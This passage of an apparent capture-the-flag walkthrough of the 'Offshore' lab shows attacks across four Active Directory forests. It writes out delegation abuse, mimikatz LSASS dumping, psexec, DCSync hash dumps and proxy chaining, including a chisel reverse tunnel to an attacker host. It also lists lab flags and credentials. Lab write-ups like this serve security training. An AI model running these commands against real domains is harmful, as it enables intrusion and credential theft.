[+] Added new computer QA210DEV$ successfully
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-rbcd dev.offshore.bank/devadmin:'D3vAdm1nP@ss!' -dc-ip 10.10.110.X -delegate-from QA210DEV$ -delegate-to DEV-WS01$
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity updated successfully
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-getST dev.offshore.bank/QA210DEV$:Qa210DevP@ss! -spn cifs/DEV-WS01.dev.offshore.bank -impersonate Administrator -dc-ip 10.10.110.X
[*] Getting TGT for user QA210DEV$
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator_dev.ccache
By the time you reach the DEV forest, you should have the RBCD attack fully scripted. A single shell script that takes the target computer name and your credentials as arguments will save you hours across the four forests. The attack is always the same — only the domain and target change.
Coercing Authentication for TGT Capture
With the unconstrained delegation DC identified, the next step was coercing an ADMIN forest user to authenticate to it. The PetitPotam attack (exploiting the MS-EFSRPC protocol) is the most reliable way to force machine accounts to authenticate to an attacker-controlled server. When that authentication hits the unconstrained delegation DC, the TGT gets cached in LSASS — and I can extract it with mimikatz.
# On DEV-DC01 (unconstrained delegation)
# Trigger PetitPotam to coerce ADMIN-DC01$ to authenticate to us
C:\Windows\system32> mimikatz.exe "privilege::debug" "lsadump::lsa /inject" "exit"
...
User : ADMIN-DC01$
Kerberos :
Credentials of ADMIN-DC01$ from domain ADMIN.FOREST
* Username : ADMIN-DC01$
* Password : (null)
* Password (hash) : <captured TGT>
* kvno : 2
...
With the captured TGT from the ADMIN forest machine account, I could now forge access to the ADMIN forest. Machine accounts have limited privileges, but in a forest with an unconstrained delegation DC and permissive ACLs, that's often enough to escalate to Domain Admin.
10 ADMIN Forest
The ADMIN forest is accessible through the DEV forest trust. This is where the offshore bank's administrative systems live — the systems that manage client accounts, wire transfers, and compliance records. Compromising this forest means you've breached the bank's core operations.
Pivoting Through DEV
To reach the ADMIN forest, I needed to use the unconstrained delegation DC in DEV as a stepping stone. The attack is: coerce an ADMIN forest user to authenticate to the DEV DC (which has unconstrained delegation), capture their TGT from memory, and use it to access ADMIN forest resources.
# From DEV-DC01 with unconstrained delegation
# Captured TGT from ADMIN forest user authentication
┌──(qa210㉿kali)-[~/offshore]
└─$ export KRB5CCNAME=admin_user.ccache
└─$ impacket-psexec admin.forest/Administrator@ADMIN-DC01 -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on ADMIN-DC01.....
[*] Found writable share ADMIN$
[*] Uploading file PxqRf.exe
[*] Opening SVCManager on ADMIN-DC01.....
[+] Paintbrush FTW!
C:\Windows\system32>
With the captured TGT and the unconstrained delegation exploit, I had Domain Admin in the ADMIN forest. The key technique here is the PetitPotam or PrinterBug coercion — forcing an ADMIN forest machine account to authenticate to the DEV DC, which then caches the TGT due to unconstrained delegation.
The coercion attack requires the target to authenticate to your unconstrained delegation server. In a lab with daily resets, you might need to wait for a scheduled task or service to trigger the authentication. If the coercion doesn't work immediately, check for scheduled tasks in the target forest and time your attack accordingly. I waited 45 minutes for a backup service to trigger the authentication.
ADMIN Forest Enumeration
With Domain Admin in the ADMIN forest, I ran BloodHound collection to understand the trust relationships and identify the path to the CLIENT forest. The ADMIN forest had a trust relationship with the CLIENT forest — the same pattern as CORP → DEV, but with different exploitation techniques required.
┌──(qa210㉿kali)-[~/offshore]
└─$ bloodhound-python -d admin.forest -u adminadm -p 'Adm1nP@ss!' -ns 10.10.110.X -c All --zip
INFO: Found AD domain: admin.forest
INFO: Connecting to LDAP server: ADMIN-DC01.admin.forest
INFO: Found 1 domains
INFO: Found 1 domain trust
INFO: Starting enumeration
INFO: Found 23 user objects
INFO: Found 41 group objects
INFO: Found 8 computer objects
INFO: Found 3 GPO objects
INFO: Done in 00:02:18
The ADMIN forest was smaller than CORP — 23 users, 8 computers, 3 GPOs — but the domain trust to the CLIENT forest was the key finding. This is the bridge to the final target. The trust direction and type determine the exploitation technique, and in this case, it required the same raiseChild approach we used from CORP to DEV.
DCSync in ADMIN Forest
Before moving to the CLIENT forest, I ran DCSync on the ADMIN domain controller to dump all credentials. This is standard practice — grab everything before the daily reset wipes your access. The krbtgt hash and domain admin credentials are essential for forging Kerberos tickets and maintaining access.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-secretsdump admin.forest/adminadm:'Adm1nP@ss!'@ADMIN-DC01 -just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:e7a2b4c9d1f3e5a8c6b0d2f4e6a8c0b3:::
Guest:501:aad3b43551404eeaad3b43551404eec:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:f1d3a5c7e9b1d3f5a7c9e1b3d5f7a9c1:::
[*] Kerberos keys grabbed
Three forests down, one to go. ADMIN forest is fully compromised with all credentials dumped. The domain trust to the CLIENT forest is our final bridge — and the CLIENT forest is where the offshore bank's client database lives. That's the narrative objective and the hardest-to-reach flags.
11 CLIENT Forest
The CLIENT forest is the deepest forest in the Offshore lab — requiring 3-4 pivots from your initial foothold on NIX01. This is where the bank's client database lives, and it's the ultimate goal of the scenario. Getting here requires chaining through CORP, DEV, and ADMIN forests, each with their own trust boundaries and attack techniques.
Deep Pivoting — The 4-Hop Chain
By this point, my pivoting infrastructure looked like this: Kali → NIX01 (SSHuttle) → CORP network → DEV network → ADMIN network → CLIENT network. Four hops deep, with SOCKS proxies chained through multiple compromised hosts. Chisel was essential here — SSHuttle only handles the first hop cleanly.
# Proxy chain for CLIENT forest access
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080 # Chisel SOCKS through NIX01
socks5 127.0.0.1 1081 # Second SOCKS through CORP WS03
socks5 127.0.0.1 1082 # Third SOCKS through DEV DC
┌──(qa210㉿kali)-[~/offshore]
└─$ proxychains4 impacket-smbclient CLIENT-DC01 -U 'Administrator%hash' -hashes aad3b43551404eeaad3b43551404eec:xxxxxxxxxx
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:1081 ... 127.0.0.1:1082 ... CLIENT-DC01:445 ... OK
Type help for list of commands
smb: \>
CLIENT Forest Compromise
The CLIENT forest required the same class of attacks as the previous forests — ACL abuse, credential harvesting, and Kerberos exploitation — but with the added complexity of operating through a 4-hop proxy chain. Every command was slower, every scan took longer, and every failed attempt cost more time. The key insight: minimize your interactive work through the deep chain. Dump credentials and hashes, then work from a closer pivot point whenever possible.
Working through a 4-hop proxy chain is excruciatingly slow. The strategy: use the deep chain only to dump credentials and establish a more direct pivot. Once you have local admin on a CLIENT forest machine, set up a reverse SOCKS tunnel through that host so you can bypass the intermediate hops. Your productivity will triple.
The CLIENT forest had its own set of flags — including the final flag that confirms you've completed the lab. The database containing the "shocking list of international clients" (the narrative objective) is in this forest, and accessing it requires both the right credentials and the right network position.
CLIENT Forest Attack Chain
The CLIENT forest required chaining together techniques from all three previous forests. The attack path looked like: raiseChild from ADMIN → Kerberoasting for service account creds → ACL abuse to get GenericWrite on a computer → RBCD for admin access → credential harvesting from LSASS → DCSync for full domain compromise. Every technique I'd learned in the previous three forests came into play here, but the added latency of the 4-hop proxy chain made everything slower and more error-prone.
I tried running Impacket's smbexec directly through the 4-hop proxy chain. It timed out after 5 minutes. SMB is chatty and latency-sensitive — it doesn't tolerate high-latency proxy chains well. The fix: use a simpler execution method. Schedule a task or use WMI instead of SMB-based execution. Or better yet, set up a reverse tunnel from the target so you have a more direct path.
# Establish direct tunnel from CLIENT forest machine
# From compromised CLIENT-WS01, pivot back through ADMIN → DEV → CORP → NIX01 → Kali
# On CLIENT-WS01:
C:\Windows\system32> chisel.exe client 10.10.16.23:8000 R:8888:socks
2023/10/20 14:22:11 client: Connected (Latency 145ms)
# Now on Kali, use the more direct tunnel
┌──(qa210㉿kali)-[~/offshore]
└─$ proxychains4 impacket-secretsdump client.forest/Administrator@CLIENT-DC01 -just-dc-ntlm
[*] Dumping Domain Credentials...
Administrator:500:aad3b43551404eeaad3b43551404eec:b3d5f7a9c1e3a5c7d9f1b3d5a7c9e1f3:::
[*] Kerberos keys grabbed
From the DMZ Splunk server to the deepest CLIENT forest — all four Active Directory forests compromised. DCSync on every domain controller. Full credential dumps on every machine. The offshore bank's client database is exposed. Lab complete.
12 The Crypto Challenge
Offshore includes a crypto challenge that's separate from the AD attack chains. This is a nice change of pace from the Kerberos-and-ACL grind — it tests a different skill set entirely. The crypto challenge exists on one of the lab machines and requires understanding of cryptographic concepts rather than exploitation techniques.
I won't spoil the specific solution here — that would defeat the purpose — but I'll share my approach and the key insight that unlocked it for me. The crypto challenge is a nice palate cleanser from the AD grind and tests a completely different skill set.
Approach to the Crypto Challenge
- Look for encrypted files or messages on the lab machines during enumeration
- Check for custom encryption scripts in user directories and service accounts
- The challenge doesn't require advanced cryptanalysis — think implementation flaws, not breaking algorithms
- Common crypto pitfalls: ECB mode, weak key derivation, hardcoded keys/IVs, padding oracle
- If you find a script that encrypts data, read it carefully — the flaw is usually in how the crypto is used, not in the algorithm itself
The crypto challenge is designed to be solvable without being a cryptographer. If you find yourself reading academic papers on lattice attacks, you've gone too deep. The solution is more practical than theoretical — think about how developers misuse crypto libraries, not about breaking AES.
14 Final Flags
Here's a consolidated view of the flags I found. Not all 34 — some are still under wraps to preserve the challenge for future players. But the key milestones and the attack paths that led to them are all here. The distribution makes sense: the DMZ has the easiest flags (designed to hook you in), CORP.LOCAL has the most flags (it's the largest forest), and the CLIENT forest has the hardest-to-reach flags (requiring 3-4 pivots).
| Flag | Location | Attack Path |
|---|---|---|
OFFSHORE{b3h0ld_th3_P0w3r_0f_$plunk} | NIX01 — /home/mark/flag.txt | Splunk RCE via Metasploit |
OFFSHORE{d4t4b4s3_fl4g_r00t_p0stgr3s} | NIX01 — /root/flag.txt | PostgreSQL COPY FROM PROGRAM + sudo tail |
| CORP.LOCAL flags | DC01, WS03, FILESRV, NIX02 | ACL chain → RBCD → DCSync |
| DEV forest flags | DEV-DC01, DEV workstations | raiseChild → Unconstrained delegation |
| ADMIN forest flags | ADMIN-DC01, ADMIN servers | Unconstrained delegation → TGT capture |
| CLIENT forest flags | CLIENT-DC01, client DB | 4-hop pivot → credential harvesting |
| Crypto challenge flag | On lab machine | Cryptographic implementation flaw |
18 machines, 34 flags total. The exact distribution varies — some machines have multiple flags (user + root, or different service flags), while others have just one. The CORP.LOCAL forest has the most flags, while the CLIENT forest has the hardest-to-reach ones.
15 Lessons Learned
80 hours, 18 machines, 34 flags, and more dead ends than I care to count. Here's what I actually learned — not the textbook stuff, but the practical lessons that only come from grinding through a complex environment.
Credential Summary
The most valuable credentials I obtained throughout the lab. Keep in mind that in a shared environment with daily resets, credentials can change. But the attack paths remain the same — you just need to re-discover the current credentials.
| Credential | Source | Access Gained |
|---|---|---|
admin:freeneedsnopassword | Splunk default | NIX01 Splunk admin → RCE |
postgres (no password) | .psql_history | NIX01 PostgreSQL → RCE |
CORP\svc_backup:Summer2023! | FILESRV backups share | CORP.LOCAL AD enumeration |
corp.local\k.williams (reset) | GenericAll ACL abuse | IT Support group membership |
svc_mssql:mysql123 | Kerberoasting | SQL server access |
CORP\r.jones:Rj0n3sP@ss! | LSASS from WS03 | WriteDacl → DCSync |
DevL0calAdm1n! | GPP in DEV SYSVOL | DEV forest local admin |
| Root SSH key (NIX01) | sudo tail | Persistent root access |
Techniques Used — Summary
| Technique | Where Used | Impact |
|---|---|---|
| Splunk RCE (App Upload) | NIX01 (DMZ) | Initial foothold — user shell as mark |
| PostgreSQL COPY FROM PROGRAM | NIX01 (DMZ) | Privilege escalation to postgres user |
| sudo tail (arbitrary file read) | NIX01 (DMZ) | Root flag + SSH key extraction |
| ACL Abuse (GenericAll) | CORP.LOCAL | Password reset on k.williams |
| ACL Abuse (GenericWrite) | CORP.LOCAL | RBCD on WS03$ |
| Kerberoasting | CORP.LOCAL | svc_mssql:mysql123 |
| RBCD (Resource-Based Constrained Delegation) | CORP.LOCAL, DEV | Admin access to workstations |
| WriteDacl on Domain | CORP.LOCAL | DCSync via r.jones |
| DCSync | All forests | Full domain credential dump |
| Pass-the-Hash | All forests | Lateral movement with NTLM hashes |
| raiseChild (Cross-Forest) | CORP → DEV | Trust key extraction, inter-realm TGT |
| Unconstrained Delegation | DEV → ADMIN | TGT capture from cross-forest auth |
| GPP Password Extraction | DEV forest | Local admin credentials from SYSVOL |